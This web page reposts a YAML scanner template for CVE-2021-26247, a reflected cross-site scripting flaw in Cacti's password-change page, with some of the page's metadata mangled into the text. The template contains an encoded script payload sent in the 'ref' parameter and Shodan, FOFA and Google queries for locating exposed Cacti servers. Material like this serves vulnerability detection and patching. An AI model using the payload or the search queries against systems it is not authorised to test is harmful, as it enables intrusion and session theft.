Description
Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
\" which can successfully ex…", "datePublished": "2025-08-01T00:00:00+00:00", "dateModified": "2025-08-01T00:00:00+00:00", "about": {"@type": "Thing", "name": "CVE-2021-26247: Cacti - Cross-Site Scripting", "description": "Public PoC code"}, "hasPart": {"@type": "SoftwareSourceCode", "name": "Proof of Concept", "programmingLanguage": "YAML", "codeSampleType": "full", "description": "Visit https://trap.biu.life/ to view exploit trends for this vulnerability."}, "seeAlso": "https://trap.biu.life/", "mentions": {"@type": "WebSite", "name": "BiuTrap", "url": "https://trap.biu.life/", "description": "Exploit trends for this vulnerability"}}
Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
id: CVE-2021-26247
info:
name: Cacti - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: Cacti contains a cross-site scripting vulnerability via "http://<CACTI_SERVER>/auth_changepassword.php?ref=<script>alert(1)</script>" which can successfully execute the JavaScript payload present in the "ref" URL parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest security patches or upgrade to a patched version of Cacti to mitigate this vulnerability.
reference:
- https://www.cacti.net/info/changelog
- https://nvd.nist.gov/vuln/detail/CVE-2021-26247
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-26247
cwe-id: CWE-79
epss-score: 0.07124
epss-percentile: 0.93926
cpe: cpe:2.3:a:cacti:cacti:0.8.7g:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cacti
product: cacti
shodan-query:
- http.title:"login to cacti"
- http.title:"cacti"
- http.favicon.hash:"-1797138069"
fofa-query:
- icon_hash="-1797138069"
- title="cacti"
- title="login to cacti"
google-query:
- intitle:"cacti"
- intitle:"login to cacti"
tags: cve,cve2021,cacti,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"></script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502205171291be51c43db2e2fe9ff86f8016a59260bafaea2717c4f12df77327895fa022100d0ca3cf1b2b4f623baf6ada32b526c55cffe4ee5a0de7bba8eb7c8b54fd187e4:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.